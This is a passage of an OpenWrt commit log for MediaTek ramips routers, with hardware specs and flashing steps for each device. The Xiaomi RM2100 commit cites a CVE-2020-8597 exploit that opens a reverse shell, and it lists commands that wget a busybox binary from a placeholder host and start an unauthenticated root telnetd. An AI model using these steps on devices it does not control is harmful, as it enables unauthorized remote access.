   more seconds until the Globe LED lights up.

3. Attach your Computer to the Ethernet port. Assign yourself the
   address 10.10.10.1/24.

4. Access the recovery page at 10.10.10.128 and upload the OpenWrt
   factory image.

5. The flashing will take around 1 minute. The device will reboot
   automatically into OpenWrt.

Signed-off-by: David Bauer <mail@david-bauer.net>
4 years ago
Lars Wessels dbaf0d20bb ramips: add support for WAVLINK WL-WN577A2
This commit adds support for the Wavlink WL-WN577A2 (black case) dual-band
wall-plug wireless router. In Germany this device is sold under the brand
name Maginon WL-755 (white case):

Device specifications:

- CPU: MediaTek MT7628AN (580MHz)
- Flash: 8MB
- RAM: 64MB
- Bootloader: U-Boot
- Ethernet: 2x 10/100 Mbps (Ralink RT3050)
- 2.4 GHz: 802.11b/g/n SoC
- 5 GHz: 802.11a/n/ac MT7610E
- Antennas: internal
- 4 green LEDs: 1 programmable (WPS) + LAN, WAN, POWER
- Buttons: Reset, WPS
- Small sliding power switch

Flashing instructions (U-boot):

- Configure a TFTP server on your PC/Laptop and set its IP
  to 192.168.10.100

- Rename the OpenWrt image to firmware.bin and place it in the
  root folder of the TFTP server

- Power off (using the small sliding power switch on the left
  side) the device and connect an ethernet cable from its LAN
  or WAN port to your PC/Laptop

- Press the WPS button (and keep it pressed)

- Power on the device (using the small power switch)

- After a few seconds, when the WAN/LAN LED stops blinking
  very fast, release the WPS button

- Flashing OpenWrt takes less than a minute, system will
  reboot automatically

- After reboot the WPS LED will indicate the current OpenWrt
  running status

Signed-off-by: Lars Wessels <software@bytebox.org>
[removed unused labels - fix whitespace errors - wrap commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
4 years ago
Jan Hoffmann b1d5ab1a69 ramips: add support for NETGEAR WAC124
The WAC124 hardware appears to be identical to R6260/R6350/R6850.

SoC:   MediaTek MT7621AT
RAM:   128M DDR3
FLASH: 128M NAND (Macronix MX30LF1G18AC)
WiFI:  MediaTek MT7603 bgn 2T2R
       MediaTek MT7615 nac 4T4R
ETH:   SoC Integrated Gigabit Switch (1x WAN, 4x LAN)
USB:   1x USB 2.0
BTN:   Reset, WPS
LED:   Power, Internet, WiFi, USB (all green)

Installation:
The factory image can be flashed from the stock firmware web interface
or using nmrpflash. With nmrpflash it is also possible to revert to
stock firmware.

Signed-off-by: Jan Hoffmann <jan@3e8.eu>
4 years ago
Alex Lewontin bd49f2c984 ramips: add support for Netgear R6080
This adds support for the Netgear R6080, aka Netgear AC1000.

The R6080 has almost the same hardware as the Netgear R6120,
aka Netgear AC1200, but it lacks the USB port, has only 8 MiB flash and
uses a different SERCOMM_HWID.

Specification:

SoC: MediaTek MT7628 (580 MHz)
Flash: 8 MiB
RAM: 64 MiB
Wireless: 2.4Ghz (builtin) and 5Ghz (MT7612E)
LAN speed: 10/100
LAN ports: 4
WAN speed: 10/100
WAN ports: 1
UART (57600 8N1) on PCB

Installation:

Flashing OpenWRT from stock firmware requires nmrpflash. Use an ethernet
cable to connect to LAN port 1 of the R6080, and power the R6080 off.
From the connected workstation, run
`nmrpflash -i eth0 -f openwrt-ramips-mt76x8-netgear_r6080-squashfs-factory.img`,
replacing eth0 with the appropriate interface (can be identified by
running `nmrpflash -L`). Then power on the R6080. After flashing has finished,
power cycle the R6080, and it will boot into OpenWRT. Once OpenWRT has been
installed, subsequent flashes can use the web interface and sysupgrade files.

Signed-off-by: Alex Lewontin <alex.c.lewontin@gmail.com>
[rebase and adjust for 5.4]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Alex Lewontin 2e47a05d87 ramips: clean up Netgear R6120 code formatting
This commit performs minor janitorial work to clean up some code
formatting for the Netgear R6120.

Signed-off-by: Alex Lewontin <alex.c.lewontin@gmail.com>
4 years ago
INAGAKI Hiroshi 3a8d65010d ramips: add support for ELECOM WRC-2533GST2
ELECOM WRC-2533GST2 is a 2.4/5 GHz band 11ac (Wi-Fi 5) router, based
on MT7621A.

Specification:

- SoC		: MediaTek MT7621A
- RAM		: DDR3 256 MiB
- Flash		: SPI-NOR 32 MiB
- WLAN		: 2.4/5 GHz 4T4R (2x MediaTek MT7615)
- Ethernet	: 10/100/1000 Mbps x5
  - Switch	: MediaTek MT7530 (SoC)
- LED/keys	: 4x/6x (2x buttons, 1x slide-switch)
- UART		: through-hole on PCB
  - J4: 3.3V, GND, TX, RX from ethernet port side
  - 57600n8
- Power		: 12VDC, 1.5A

Flash instruction using factory image:

1. Boot WRC-2533GST2 normally
2. Access to "http://192.168.2.1/" and open firmware update page
   ("ファームウェア更新")
3. Select the OpenWrt factory image and click apply ("適用") button
4. Wait ~150 seconds to complete flashing

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
4 years ago
INAGAKI Hiroshi 39f2f9b1bf ramips: add MT7615 wireless support for ELECOM WRC-GST devices
ELECOM WRC-1900GST and WRC-2533GST have two MT7615 chips for 2.4/5 GHz
wireless.

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
[WRC-1900GST]
Acked-by: NOGUCHI Hiroshi <drvlabo@gmail.com>
4 years ago
Pawel Dembicki 221d8a1c60 ramips: mt7621: add support for NETGEAR WAC104
NETGEAR WAC104 is an AP based on castrated R6220, without WAN
port and USB.

SoC: MediaTek MT7621ST
RAM: 128M DDR3
FLASH: 128M NAND
WiFi: MediaTek MT7612EN an+ac
MediaTek MT7603EN bgn
ETH: MediaTek MT7621ST (4x LAN)
BTN: 1x Connect (WPS), 1x WLAN, 1x Reset
LED: 7x (3x GPIO controlled)

Installation:

Login to netgear webinterface and flash factory.img

Back to stock:

Use nmrpflash to revert stock image.

Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
4 years ago
Adrian Schmutzler fbb46b7bcc ramips: add support for Netgear EX6120
Specifications:
* SoC: MT7620A
* CPU: 580 MHz
* RAM: 64 MB DDR
* Flash: 8MB NOR SPI flash
* WiFi: MT7612E (5GHz) and builtin MT7620A (2.4GHz)
* LAN: 1x100M

The device is identical to the EX6130 except
for the mains socket and the hardware ID.

Installation:
The -factory images can be flashed from the
device's web interface or via nmrpflash.

Notes:
MAC addresses were set up based on the EX6130 setup.

This is based on prior work of Adam Serbinski and Mathias Buchwald.

Tested by Mathias Buchwald.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Felix Fietkau 81b59efefd ramips/mediatek: select kmod-mt7615-firmware where kmod-mt7615e is selected
The new mt76 version splits out the firmware, because the driver can also be
used for MT7663/MT7613

Signed-off-by: Felix Fietkau <nbd@nbd.name>
4 years ago
Alexey Dobrovolsky 0a182fcba6 ramips: add kmod-usb-dwc2 to ZyXEL Keenetic image
ZyXEL Keenetic has a USB port. Thus, DWC2 USB controller driver should
be in the default image for this device.

Fixes: a7cbf59e0e ("ramips: add new device ZyXEL Keenetic as kn")
Signed-off-by: Alexey Dobrovolsky <dobrovolskiy.alexey@gmail.com>
[fixed whitespace issue]
Signed-off-by: Petr Štetiar <ynezz@true.cz>
4 years ago
J. Scott Heppler 168e4c91d8 ramips: add support for TRENDnet TEW-810DR
Specifications:

* MediaTek MT7620A (580 Mhz)
* 8 MB of FLASH
* 64 MB of RAM
* 2.4Ghz and 5.0Ghz radios
* 5x 10/100 Mbps Ethernet (1 WAN and 4 LAN)
* UART header on PCB (57600 8n1)
* Green/Orange Power LEDs illuminating a Power-Button Lens
* Green/Orange Internet LEDs GPIO controlled illuminating a Globe/Internet Lens
* 3x button - wps, power and reset
* U-boot bootloader

Installation:

The sysupgrade.bin image is reported to be OEM web flashed with an ncc_att_hwid
appended.  ncc_att_hwid is a 32bit binary in the GPL Source download for either
the TEW-810DR or DIR-810L and is located at
source/user/wolf/cameo/ncc/hostTools.

The invocation is: ncc_att_hwid -f tew-810dr-squashfs-factory.bin -a -m "TEW-810DR" -H "1.0R" -r "WW" -c "1.0"

This may need to be altered if your hardware version is "1.1R".

The image can also be directly flashed via serial tftp:
1.  Load *.sysupgrade.bin to your tftp server directory and rename for
    convenience.
2.  Set a static ip 192.168.10.100.
3.  NIC cable to a lan port.
4.  Serial connection parameters 57600,8N1
5.  Power on the TEW-810 and press 4 for a u-boot command line prompt.
6.  Verify IP's with U-Boot command "printenv".
7.  Adjust tftp settings if needed per the tftp documentation
8.  Boot the tftp image to test the build.
9.  If the image loads, reset your server ip to 192.168.1.10 and restart network.
10. Log in to Luci, 192.168.1.1, and flash the *sysupgrade.bin image.

Notes:

The only valid MAC address is found in 0x28 of the factory partition.
Other typical offsets/caldata only contain example data: 00:11:22:00:0f:xx

Signed-off-by: J. Scott Heppler <shep971@centurylink.net>
[remove "link rx tx" in 01_leds, format and extend commit message,
fix DTS led node names]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
INAGAKI Hiroshi 7b01567976 ramips: add alternative name for Buffalo WSR-2533DHP
Buffalo WSR-2533DHP is identical to the WSR-2533DHPL, Buffalo sold it
with renaming.

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
4 years ago
Ernst Spielmann c3dc52e39a ramips: add support for Asus RT-N10P V3 / RT-N11P B1 / RT-N12 VP B1
Specifications:

- MT7628NN @ 580 MHz
- 32 MB RAM
- 8 MB Flash
- 5x 10/100 Mbps Ethernet (built-in switch)
- 2.4 GHz WLAN
- 2x external, non-detachable antennas (1x for RT-N10P V3)

Flash instructions:

1. Set PC network interface to 192.168.1.75/24.
2. Connect PC to the router via LAN.
3. Turn router off, press and hold reset button, then turn it on.
4. Keep the button pressed till power led starts to blink.
5. Upload the firmware file via TFTP. (Any filename is accepted.)
6. Wait until the router reboots.

Signed-off-by: Ernst Spielmann <endspiel@disroot.org>
[fix node/property name for state_default]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Richard Huynh f3792690c4 ramips: Add support for Xiaomi Redmi Router AC2100 (RM2100)
Specification:
- CPU: MediaTek MT7621A
- RAM: 128 MB DDR3
- FLASH: 128 MB ESMT NAND
- WIFI: 2x2 802.11bgn (MT7603)
- WIFI: 4x4 802.11ac (MT7615)
- ETH: 3xLAN+1xWAN 1000base-T
- LED: Power, WAN, in Amber and White
- UART: On board near ethernet, opposite side from power
- Modified u-boot

Installation:

1. Run linked exploit to get shell, startup telnet and wget the files over
2. mtd write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-kernel1.bin kernel1
3. nvram set uart_en=1
4. nvram set bootdelay=5
5. nvram set flag_try_sys1_failed=1
6. nvram commit
7. mtd -r write openwrt-ramips-mt7621-xiaomi_rm2100-squashfs-rootfs0.bin rootfs0

Restore to stock:

1. Setup PXE and TFTP server serving stock firmware image
(See dhcp-boot option of dnsmasq)
2. Hold reset button down before powering on and wait for flashing amber led
3. Release reset button
4. Wait until status led changes from flashing amber to white

Notes:
This device has dual kernel and rootfs slots like other Xiaomi devices currently
supported (mir3g, etc.) thus, we use the second slot and overwrite the first
rootfs onwards in order to get more space.

Exploit and detailed instructions:

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

An implementation of CVE-2020-8597 against stock firmware version 1.0.14

This requires a computer with ethernet plugged into the wan port and an active
PPPoE session, and if successful will open a reverse shell to 192.168.31.177
on port 31337.

As this shell is somewhat unreliable and likely to be killed in a random amount
of time, it is recommended to wget a static compiled busybox binary onto the
device and start telnetd with it.

The stock telnetd and dropbear unfortunately appear inoperable.
(Disabled on release versions of stock firmware likely)
Ie. wget https://yourip/busybox-mipsel -O /tmp/busybox
chmod a+x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Tested-by: David Martinez <bonkilla@gmail.com>
Signed-off-by: Richard Huynh <voxlympha@gmail.com>
4 years ago
INAGAKI Hiroshi 0a05d71f6f ramips: fix initramfs image for I-O DATA mt7621 devices
This is additional fix of c998ae7f0e.

The sysupgrade image of I-O DATA MT7621 devices manufactured by MSTC
(MitraStar Technology Corp.) faced to the booting issue. This was caused
by imcomplete extraction of large kernel image by U-Boot, and this issue
is occurred in initramfs image after fixing of sysupgrade image.
So, use lzma-loader for initramfs image to fix the issue.

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
4 years ago
Fabian Bläse 33b2078528 mt7621: Make ER-X-SFP factory image compatible with EP-R6
The version inside the compat file determines, if a firmware supports
a specific device. I have not yet fully understood, how this is checked,
but it only seems to indicate which devices are supported by a specific
version of the combined vendor firmware. Devices assume that subsequent
versions, starting with the version that initially added support for a
specific device, are always compatible.

The first compat version that added support for the EP-R6 was '21001:7',
but OpenWrt did use '21001:6' before. This is why the factory image could
not be flashed using the vendor software, but only using TFTP.

The compat version has been bumped by the vendor a few times, but more
devices have been added since (e.g. ER-10X). Because OpenWrt currently
only supports the ER-X, ER-X-SFP and EP-R6, the compat version is
incremented to the version that first supported the EP-R6, which is
'21001:7'.

This allows the factory image to be flashed on EP-R6 without TFTP.

Signed-off-by: Fabian Bläse <fabian@blaese.de>
4 years ago
Davide Fioravanti 31b49f02ca ramips: add support for Linksys EA7500 v2
The Linksys EA7500 v2 is advertised as AC1900, but its internal
hardware is AC2600 capable.

Hardware
--------
SoC:   Mediatek MT7621AT (880 MHz, 2 cores 4 threads)
RAM:   256M (Nanya NT5CC128M16IP-DI)
FLASH: 128MB NAND (Macronix MX30LF1G18AC-TI)
ETH:   5x 10/100/1000 Mbps Ethernet (MT7530)
WIFI:
  - 2.4GHz: 1x MT7615N (4x4:4)
  - 5GHz:   1x MT7615N (4x4:4)
  - 4 antennas: 3 external detachable antennas and 1 internal
USB:
  - 1x USB 3.0
  - 1x USB 2.0
BTN:
  - 1x Reset button
  - 1x WPS button
LEDS:
  - 1x White led (Power)
  - 6x Green leds (link lan1-lan4, link wan, wps)
  - 5x Orange leds (act lan1-lan4, act wan) (working but unmodifiable)

Everything works correctly.

Installation
------------
The “factory” openwrt image can be flashed directly from OEM stock
firmware. After the flash the router will reboot automatically.

However, due to the dual boot system, the first installation could fail
(if you want to know why, read the footnotes).
If the flash succeed and you can reach OpenWrt through the web
interface or ssh, you are done.
Otherwise the router will try to boot 3 times and then will
automatically boot the OEM firmware (don’t turn off the router.
Simply wait and try to reach the router through the web interface
every now and then, it will take few minutes).

After this, you should be back in the OEM firmware.

Now you have to flash the OEM Firmware over itself using the OEM web
interface (I tested it using the FW_EA7500v2_2.0.8.194281_prod.img
downloaded from the Linksys website).

When the router reboots flash the “factory” OpenWrt image and this
time it should work.

After the OpenWrt installation you have to use the sysupgrade image
for future updates.

Restore OEM Firmware
--------------------
After the OpenWrt flash, the OEM firmware is still stored in the
second partition thanks to the dual boot system.
You can switch from OpenWrt to OEM firmware and vice-versa failing
the boot 3 times in a row:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

If you want to completely remove OpenWrt from your router, switch to
the OEM firmware and then flash OEM firmware from the web interface
as a normal update.
This procedure will overwrite the OpenWrt partition.

Footnotes
---------
The Linksys EA7500-v2 has a dual boot system to avoid bricks.
This system works using 2 pair of partitions:
 1) "kernel" and "rootfs"
 2) "alt_kernel" and "alt_rootfs".
After 3 failed boot attempts, the bootloader tries to boot the other
pair of partitions and so on.

This system is managed by the bootloader, which writes a bootcount in
the s_env partition, and if successfully booted, the system add a
"zero-bootcount" after the previous value.

A system update performed from OEM firmware, writes the firmware on the
other pair of partitions and sets the bootloader to boot the new pair
of partitions editing the “boot_part” variable in the bootloader vars.
Effectively it's a quick and safe system to switch the selected boot
partition.

Another way to switch the boot partition is:
 1) power on the router
 2) wait 15 seconds
 3) power off the router
 4) repeat steps 1-2-3 twice more.
 5) power on the router and you should be in the “other” firmware

In this OpenWrt port, this dual boot system is partially working
because the bootloader sets the right rootfs partition in the cmdline
but unfortunately OpenWrt for ramips platform overwrites the cmdline
so is not possible to detect the right rootfs partition.

Because all of this, I preferred to simply use the first pair of
partitions and set read-only the other pair.

However this solution is not optimal because is not possible to know
without opening the case which is the current booted partition.
Let’s take for example a router booting the OEM firmware from the first
pair of partitions. If we flash the OpenWrt image, it will be written
on the second pair. In this situation the router will bootloop 3 times
and then will automatically come back to the first pair of partitions
containg the OEM firmware.
In this situation, to flash OpenWrt correctly is necessary to switch
the booting partition, flashing again the OEM firmware over itself.
At this point the OEM firmware is on both pair of partitions but the
current booted pair is the second one.
Now, flashing the OpenWrt factory image will write the firmware on
the first pair and then will boot correctly.

If this limitation in the ramips platform about the cmdline will be
fixed, the dual boot system can also be implemented in OpenWrt with
almost no effort.

Signed-off-by: Davide Fioravanti <pantanastyle@gmail.com>
Co-Developed-by: Jackson Lim <jackcolentern@gmail.com>
Signed-off-by: Jackson Lim <jackcolentern@gmail.com>
4 years ago
Sungbo Eo a4e9c8f14b ramips: add support for netis WF2770
netis WF2770 is a 2.4/5GHz band AC750 router, based on MediaTek MT7620A.

Specifications:
- SoC: MT7620A
- RAM: DDR2 64MB
- Flash: SPI NOR 16MB
- WiFi:
  - 2.4GHz: SoC internal
  - 5GHz: MT7610EN
- Ethernet: 5x 10/100/1000Mbps
  - Switch: MT7530BU
- UART:
  - J2: 3.3V, RX, TX, GND (3.3V is the square pad) / 57600 8N1

MAC addresses in factory partition:
0x0004: LAN, WiFi 2.4GHz (label_mac-6)
0x0028: not used (label_mac-1)
0x002e: WAN (label_mac)
0x8004: WiFi 5GHz (label_mac+2)

Installation via web interface:
1.  Flash **initramfs** image through the stock web interface.
2.  Boot into OpenWrt and perform sysupgrade with sysupgrade image.

Revert to stock firmware:
1.  Perform sysupgrade with stock image.

Reviewed-by: Pawel Dembicki <paweldembicki@gmail.com>
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
4 years ago
Zhijun You 46674723e1 ramips: add support for ASUS RT-AC54U
Specification:

- CPU: MTK MT7620A
- RAM: 64MB
- ROM: 16MB SPI Flash Macronix MX25L12835E
- WiFi1: MediaTek MT7620A
- WiFi2: MediaTek MT7612E
- Button: reset, wps
- LED: 9 LEDs:Power, WiFi 2.4G,WiFi 5G, USB, LAN1, LAN2, LAN3, LAN4, WAN
- Ethernet: 5 ports, 4 LAN + 1 WAN
- Other: 1x UART 1x USB2.0

Installation:

   Update using ASUS Firmware Restoration Tool:

1. Download the ASUS Firmware Restoration Tool but don't open it yet
2. Unplug your computer from the router
3. Put the router into Rescue Mode by: turning the power off, using a pin
   to press and hold the reset button, then turning the router back on while
   keeping the reset button pressed for ~5 secs until the power LED starts
   flashing slowly (which indicates the router has entered Rescue Mode)
4. Important (if you don't do this next step the Asus Firmware
   Restoration Tool will wrongly assume that the router is not in Rescue Mode
   and will refuse to flash it): go to the Windows Control Panel and
   temporarily disable ALL other network adapters except the one you will use
   to connect your computer to the router
5. For the single adapter you left enabled, temporarily give it the
   static IP 192.168.1.10 and the subnet mask 255.255.255.0
6. Connect a LAN cable between your computer (make sure to use the
   Ethernet port of the adapter you've just set up) and port 1 of the router
   (not the router's WAN port)
7. Rename sysupgrade.bin to factory.trx
8. Open the Asus Firmware Restoration Tool, locate factory.trx and click
   upload (if Windows shows a compatibility prompt, confirm that the tool worked fine)
9. Flashing and reboot is finished when the power LED stops blinking and
   stays on

MAC assignment based on vendor firmware:

2g    0x4	label
5g    0x8004	label +4
lan   0x22	label +4
wan   0x28	label

Signed-off-by: Zhijun You <hujy652@gmail.com>
[rebased due to DTSI patch, minor commit message adjustments, fix
label MAC address (lan->wan), do spi frequency increase separately]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Pawel Dembicki 426fb8cf84 ramips: add support for LB-Link BL-W1200
The BL-W1200 Wireless Router is based on the MT7620A SoC.

Specification:

- MediaTek MT7620A (580 Mhz)
- 64 MB of RAM
- 8 MB of FLASH
- 1x 802.11bgn radio
- 1x 802.11ac radio (MT7612E)
- 5x 10/100/1000 Mbps Ethernet (MT7530)
- 2x external, non-detachable antennas (Wifi 2.4G/5G)
- 1x USB 2.0
- UART (R2) on PCB (57600 8n1)
- 9x LED (1 GPIO controlled), 1x button
- u-Boot bootloader

Known issues:
- No status LED. Used WPS LED during boot/failsafe/sysupgrade.

Installation:
1. Apply initramfs image via factory web-gui.
2. Install sysupgrade image.

How to revert to OEM firmware:
- sysupgrade -n -F stock_firmware.bin

Reviewed-by: Sungbo Eo <mans0n@gorani.run>
Signed-off-by: Pawel Dembicki <paweldembicki@gmail.com>
4 years ago
Sungbo Eo a5720d3276 ramips: tidy up image subtarget Makefiles
- use tab indent in image build recipes for consistency
- harmonize line wrapping

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
[use different line wrapping for one recipe]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Sungbo Eo c5fdab84ed ramips: tidy up image Makefile
- sort recipes alphabetically
- simplify subtarget include directives

Signed-off-by: Sungbo Eo <mans0n@gorani.run>
4 years ago
Adrian Schmutzler f0435d5343 ramips: rt3883: remove swconfig from individual DEVICE_PACKAGES
In rt3883 subtarget, several devices add swconfig to their DEVICE_PACKAGES.
This is redundant as the package is already provided via DEFAULT_PACKAGES.

Remove the redundant inclusions.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 40325abe52 ramips: remove (kmod-)swconfig DEVICE_PACKAGES for Sitecom WL-351
These definitions are not required since swconfig is selected for
the target anyway and kmod-swconfig is pulled as dependency by
kmod-switch-rtl8366rb.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
Adrian Schmutzler 1553f58a98 ramips: create common definition for I-O DATA NAND devices
Three of the I-O DATA devices with NAND flash share a lot of
variables. Create a common definition for them to reduce duplicate
code.

Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
4 years ago
INAGAKI Hiroshi c998ae7f0e ramips: use lzma-loader for I-O DATA mt7621 devices
The official sysupgrade images for I-O DATA devices manufactured by
MSTC (MitraStar Technology Corp.) cannot be booted normally and the
kernel panics after switching to kernel 5.4.

This commit fixes the issue by using lzma-loader.

Note:
  These devices use Z-LOADER to read the kernel from NAND flash and boot
  it. Z-LOADER cannot load and start plain lzma-loader, so additional
  lzma-compression is needed.

Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Co-developed-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Signed-off-by: Yanase Yuki <dev@zpc.sakura.ne.jp>
Tested-by: Yanase Yuki <dev@zpc.sakura.ne.jp> [wn-ax2033gr]
4 years ago